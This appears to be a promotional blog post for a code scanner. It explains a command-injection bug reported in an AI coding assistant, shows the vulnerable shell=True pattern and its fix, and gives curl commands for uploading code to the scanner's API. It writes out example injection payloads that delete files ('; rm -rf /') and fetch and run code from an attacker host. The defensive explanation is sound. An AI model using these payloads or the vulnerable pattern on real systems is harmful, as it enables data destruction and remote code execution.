Last week I scanned serena — a popular AI coding assistant with 25k ⭐.
[BLOCK] COMMAND_INJECTION agent.py:1222
subprocess.Popen(cmd, shell=True)
→ config value → arbitrary shell execution
The scan took 3 seconds. The bug had been in the repo for months.
What COMMAND_INJECTION looks like in AI code
# AI generates this pattern constantly
def run_command(user_config: dict):
cmd = f"git {user_config['args']}"
subprocess.Popen(cmd, shell=True) # BLOCK: arbitrary shell execution
Any config value becomes arbitrary shell execution. ; rm -rf / works. $(curl attacker.com | sh) works.
The fix is one line:
subprocess.run(["git"] + user_config["args"].split(), shell=False)
But AI doesn't make that fix by default. It generates the dangerous version because shell=True appears everywhere in training data.
Why this slips past reviewers
- It looks intentional (sometimes shell=True is legitimate)
- The function name is
run_command— of course it runs commands - No obvious user input path visible at the call site
The actual input path is 3 function calls deep. Static analysis finds it immediately.
Scan your repo
# Scan a single file
curl -X POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan \
-H "X-API-Key: vg_free_test" \
-F "file=@agent.py"
# Scan a zip of your whole project
zip -r project.zip src/
curl -X POST https://pleasing-transformation-production-90c2.up.railway.app/v1/scan \
-H "X-API-Key: vg_free_test" \
-F "file=@project.zip"
48 patterns, 9 languages. Free key: vg_free_test
GitHub Action: Moonsehwan/aina-vibeguard-action@v1
Top comments (0)